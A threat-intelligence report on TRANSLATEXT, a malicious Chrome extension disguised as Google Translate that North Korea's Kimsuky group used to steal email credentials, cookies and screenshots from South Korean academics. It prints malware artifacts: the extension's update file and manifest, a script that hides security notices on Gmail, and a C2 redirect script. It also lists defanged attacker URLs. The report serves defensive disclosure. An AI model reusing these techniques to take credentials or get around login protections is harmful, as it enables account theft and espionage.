Kimsuky deploys TRANSLATEXT to target South Korean academia

Introduction

In March 2024, Zscaler ThreatLabz observed new activity from Kimsuky (aka APT43, Emerald Sleet, and Velvet Chollima), an advanced persistent threat actor backed by the North Korean government. This group, first observed in 2013, is notorious for cyber espionage, and financially motivated cyber attacks, primarily targeting South Korean entities, including think tanks, government institutions, and the academic sector. They employ various tactics, techniques, and procedures (TTPs) in their targeted campaigns and one of their distribution methods is malicious Google Chrome extensions. In July 2022, it was reported that Kimsuky used malicious Chrome extensions to target users in the U.S., Europe, and South Korea. While actively monitoring this group, we discovered an instance where Kimsuky used a new Google Chrome extension, which we named “TRANSLATEXT”, for cyber espionage. TRANSLATEXT is specifically leveraged to steal email addresses, usernames, passwords, cookies, and captures browser screenshots.

Key Takeaways

• Kimsuky uploaded TRANSLATEXT to their attacker-controlled GitHub repository on March 7, 2024.
• TRANSLATEXT can bypass security measures for several prominent email service providers like Gmail, and Kakao and Naver (popular in South Korea) to steal information.
• TRANSLATEXT is specifically leveraged to steal email addresses, usernames, passwords, cookies, and captures browser screenshots.
• Our research suggests that the main targets of this attack were in the South Korean academic field, specifically those involved in political research related to North Korean affairs. 

Technical Analysis

According to a recent publication by a South Korean security vendor, Kimsuky delivered an archive file named “한국군사학논집 심사평서 (1).zip”, which translates to “Review of a Monograph on Korean Military History.” 

The archive contains two decoy files: 

• HWP documents (a popular office file format in South Korea) 
• A Windows executable masquerading as related documents 

When a user launches the executable, the malware retrieves a PowerShell script from the threat actor’s server. The figure below shows the Kimsuky infection chain.

Figure 1: Example Kimsuky infection chain.

The PowerShell script from the remote server is responsible for uploading general information about the victim and creating a Windows shortcut that retrieves an additional PowerShell script from the same server. During our own research into this campaign, we discovered another PowerShell script with the MD5 hash: bba3b15bad6b5a80ab9fa9a49b643658 and a GitHub account used by the script linked to the same actor. From this newly discovered GitHub account, we observed victim data and a previously deleted Chrome extension utilized by the actor. The delivery method for TRANSLATEXT is not currently known.

However, the newly discovered PowerShell script reveals that Kimsuky checked for the presence of installed Chrome extensions using the Windows registry key shown below: 

HKCUSoftwarePoliciesGoogleChromeExtensionInstallForcelist

This registry key is used by Chrome to enforce the installation of specified extensions without user permission or intervention. Therefore, it appears Kimsuky registered TRANSLATEXT in this registry key using previous stage methods.

TRANSLATEXT analysis

In the attacker-controlled GitHub account, we observed an XML file in addition to TRANSLATEXT. These files were present in the repository on March 7, 2024, and deleted the next day, implying that Kimsuky intended to minimize exposure and use the malware for a short period to target specific individuals. 

The figure below shows how Kimsuky uploaded the files on March 7th to one of their GitHub accounts and then deleted them on March 8th.

Figure 2: Kimsuky GitHub commit log shows the addition and removal of an XML file and TRANSLATEXT after only one day.

A timeline of the GitHub user’s activity is listed below:

• February 13, 2024: Join GitHub
• March 7, 2024: Created first repository named “motorcycle”
  • 29 commits including uploads from the victim and subsequent removals.
  • Added TRANSLATEXT files: update.xml, GoogleTranslate.crx
• Mar 8, 2024: Removed update.xml and GoogleTranslate.crx
• Mar 18, 2024: Created motorcycle/calc
• Apr 4, 2024: Created a motorcycle/laxi/ter.txt that contains “sfsadfsadfa”. 

As the name suggests, the update.xml file contained the parameters necessary for updating TRANSLATEXT as shown below.

<?xml version='1.0' encoding='UTF-8'?>
<gupdate xmlns='http://www.google.com/update2/response' protocol='2.0'>
   <app appid='gibabegbpcndhaoegbalnmgkeoaopajp'>
       <updatecheck codebase='hxxps://github[.]com/cmastern/motorcycle/raw/main/GoogleTranslate.crx' version='1.5.2' />
   </app>
</gupdate>

TRANSLATEXT was uploaded to GitHub as “GoogleTranslate.crx”, and masqueraded as a Google Translate extension. However, TRANSLATEXT actually contained four malicious Javascript files for bypassing security measures, stealing email addresses, credentials, cookies, capturing browser screenshots, and exfiltrating stolen data. 

The figure below depicts the role of each Javascript file in stealing and sending information to the C2 server.

Figure 3: Kimsuky TRANSLATEXT architecture.

According to the manifest.json file, the author name is listed as “Piano”, and the update_url points to another GitHub address referencing an update.xml file that did not exist at the time of our analysis. The description and default title fields contain Korean, which likely indicates that this campaign was specifically targeting South Korea–we discuss this later in the blog.

A part of the manifest.json file is shown below.

{
   // Required
   "author": "Piano",
   "manifest_version": 3,
   "name": "Google Translate",
   "version": "1.5.2",
   
   // Recommended
   "action": {
       "default_icon": "icons/16.png",
       "default_title": "번역하려면 마우스 왼쪽 버튼을 클릭하세요."
   },
   "description": "웹을 탐색하면서 편하게 번역을 볼 수 있습니다. 이 기능은 Google 번역팀에서 제공합니다.",
   "icons":{
       "16": "icons/16.png",
       "19": "icons/19.png",
       "32": "icons/32.png",
       "38": "icons/38.png",
       "48": "icons/48.png",
       "128": "icons/128.png"
   },
   "update_url": "https://raw.githubusercontent.com/HelperDav/Web/main/update.xml",
       
   // Optional
   "background": {
       "service_worker": "background.js"
   },
   "content_security_policy": {
       "extension_page": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
   },
   "permissions": ["tabs", "activeTab", "cookies", "storage", "downloads", "scripting"],

The TRANSLATEXT manifest requests excessive permissions such as scripting. This broad permission allows TRANSLATEXT to inject scripts into web pages, enabling it to modify page content, add functionality, and/or interact with the page’s elements.

Depending on the URL the victim visits, a corresponding script is launched. 

• When the victim visits the Naver login page (nid.naver.com/*) or the Kakao login page (accounts.kakao.com/*), the auth.js file is injected into the web page. 
• Similarly, when visiting the Gmail login page (mail.google.com/), the gsuit.js file is injected into the web page. 

The content.js script is injected into all web pages using the manifest file as shown below.

"content_scripts": [
       {
           "js": [ "content.js"],
           "matches": [
               "http://*/*", "https://*/*"
           ],
           "run_at": "document_idle",
           "all_frames": false
       },
       {
           "js": [ "auth.js"],
           "matches": [
               "https://nid.naver.com/*",
               "https://accounts.kakao.com/*"
           ],
           "run_at": "document_end",
           "all_frames": false
       },
       {
           "js": [ "gsuit.js"],
           "matches": [
               "https://mail.google.com/*"
           ],
           "run_at": "document_end",
           "all_frames": false
       }
   ]

Security bypass

The script injected into the web page is responsible for bypassing security measures on each specific login page. 

Note: For security reasons, we’ve replaced sensitive variable names in the script to prevent unauthorized actors from exploiting these methods. 

The gsuit.js script searches for all <div> elements with the specific class name in the web page and then removes them from the Document Object Model (DOM) as shown below.

"use strict";
function NeverNotify()
{
   var x = document.querySelectorAll("[redacted]");
   for(var i=0; i<x.length; i++)
   {
         if(x[i])
       {
           x[i].remove();
       }
   }
}
setInterval(() => {NeverNotify();}, 50);

The auth.js script is used for manipulating security measures for Naver and Kakao. To bypass Kakao, the script checks for elements with specific IDs. If these elements exist, the script clicks them. This action typically means opting to remember the browser to avoid repeated security prompts. The script selects all elements and ensures their class names are set correctly, possibly to ensure all checkboxes of this type are checked. 

The Naver section of the script, similar to the Kakao section, identifies elements with specific IDs and performs clicks on them. These clicks serve various purposes, such as skipping or acknowledging waiting times and dialogs within Naver’s security measure process. For instance, it locates an element with the ID auto and sets its value to init, potentially as part of a setup or initialization process for the authentication page. 

Note: We have notified the Google and Naver security teams about these security bypasses and are closely working with them to mitigate the issue.

Email address stealer – content.js

The main objective of this Javascript file is to collect email address and password data entered into the forms and send the information to a background page. The script performs these actions as follows:

• Hooking into various form elements such as buttons and input fields to capture clicks and keypresses to initiate sending data.
• Collecting all email addresses entered into any input fields (“type=email”), general text (“type=text”), or textboxes (“role=textbox”), and concatenating them into a single string. 
• Collecting values from all input fields of the type password, and concatenating the email address and password data collected into a string format suitable for transmission.
• Monitoring user actions, like pressing Enter, by adding event listeners to various button types and input fields. It uses a mutex variable to prevent multiple transmissions at the same time. This monitoring process is repeated every 500 milliseconds, ensuring new elements on the page or dynamically added elements are also monitored.

Service worker – background.js

The Javascript employs the dead drop resolver technique to retrieve configurations and commands from the public blog service: 

hxxps://onewithshare.blogspot[.]com/2023/04/10.html

If the blog URL is active, the Javascript extracts the pattern with the following regular expression: 

<input name="${name}" type="hidden" value="(.*?)"> 

This parses the content from the value parameter of a hidden input field. When we checked the threat actor’s blog, there were no relevant values present in this format. There are four types of commands expected by the code, and they are described in the table below:

Table 1: Commands supported by Kimsuky’s TRANSLATEXT.

The background script also registers several listeners with specific functionality as described below:

• Send background Javascript listener: This listener is triggered when a new message is created, allowing for appropriate actions to be taken in response.
• Tab update listener: When a tab is updated, this listener sends the URL of the newly created tab along with a screenshot, based on the presence of the Capture flag.
• Cookie change listener: Whenever a cookie is modified, this listener checks if the domain includes google, naver, kakao, or daum, and if the reason for the change is expired, evicted, or explicit. In such cases, the new cookie value is sent to the remote C2 server.

TRANSLATEXT uses HTTP POST requests for C2 communications, with the following hardcoded HTTP headers:

Accept: application/json, application/xml, text/plain, text/html, *.*,
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Access-Control-Allow-Origin: "*"
Access-Control-Allow-Credentials: true

TRANSLATEXT uses the following HTTP POST fields for sending the stolen information.

Table 2: HTTP POST data format for Kimsuky’s TRANSLATEXT.

Victims

The data stolen by the threat actor included browser login data and cookies. One of the victims is in the education sector in South Korea. Based on this gathered information, we surmise that academic researchers specializing in the Korean peninsula, particularly those engaged in geopolitical matters involving North Korea, are among the primary targets of this campaign. 

Threat Attribution

Considering the C2 characteristics and victimology, we attribute this attack to the Kimsuky group with medium confidence. 

C2 server characteristics

From the threat actor’s server, we discovered the presence of a b374k webshell (hxxps://webman.w3school.cloudns[.]nz/config.php) used for exfiltrating stolen information. The Kimsuky group has a history of frequently utilizing the b374k webshell.

Furthermore, the main page of the threat actor’s server redirects clients to the legitimate Gmail page when they connect without any parameters. This behavior aligns with the characteristic C2 configuration of the Kimsuky group. This redirection to well-known and trusted services like Gmail, Naver, or Kakao helps to lower suspicion and avoid sending informative configurations. As an example below, we show an old PHP script from the Kimsuky group’s C2 server that captures the client’s IP address and redirects the client’s connection to Gmail using the Location header.

<?php
date_default_timezone_set('Asia/Seoul');
$Now_time = time();
$date = date("Y-m-d-h-i-s-A",$Now_time);
$ip = getenv("REMOTE_ADDR");
if(isset($_GET['ip'])){
       $szfilename = "allow.txt";
       $pfile = fopen($szfilename,"ab");
       $res= $_GET['ip'] . "rn" ;
       fwrite($pfile,$res);
       fclose($pfile);  
       exit;
}
$szfilename = "error.txt";
$pfile = fopen($szfilename,"ab");
$res= $date . "-" . "rn".$ip . "rn" . $_SERVER['HTTP_USER_AGENT']."rn";
fwrite($pfile,$res);
fclose($pfile);  
header('Location: https://mail.google.com');
?>

Employing “r-e.kr” domains

From the newly discovered PowerShell script, we found that the actor used the domain “r-e[.]kr” to host the malicious PowerShell scripts. The r-e.kr domain was registered by a Korean ISP named “viaweb”. 

Table 3: Kimsuky domain details.

Historically, the Kimsuky group has frequently abused this domain, according to other security vendors. In addition to the r-e.kr domain, they have used similar domains registered with the same provider, such as p-e.kr and o-r.kr. While the overlap of specific domains is common, these types of domains are not well-known, and we believe that only a few threat actors prefer using them.

Victimology

During our research, we identified a specific victim of this attack, an academic with a keen interest in geopolitical issues pertaining to the Korean peninsula. One of the primary objectives of the Kimsuky group is to conduct surveillance on academic and government personnel in order to gather valuable intelligence. Hence, the characteristics exhibited by this campaign are consistent with the intentions of Kimsuky.

Conclusion

Our research indicates that malicious Google Chrome extensions continue to be leveraged by Kimsuky. The group appears to be targeting academia in South Korea as part of an ongoing intelligence collection campaign. To mitigate the risk from active North Korea-affiliated threat actors like Kimsuky, it is imperative to stay informed about their latest tactics. Additionally, exercising caution when installing programs from untrusted sources is essential in maintaining security and preventing potential breaches.

Zscaler Coverage

Zscaler’s multilayered cloud security platform detects indicators related to TRANSLATEXT at various levels with the following threat names:

• Win32.Backdoor.Cobaltstrike.LZ
• JS.Trojan.Kimsuky
• PS.Trojan.Kimsuky

Indicators Of Compromise (IOCs)

MITRE ATT&CK Framework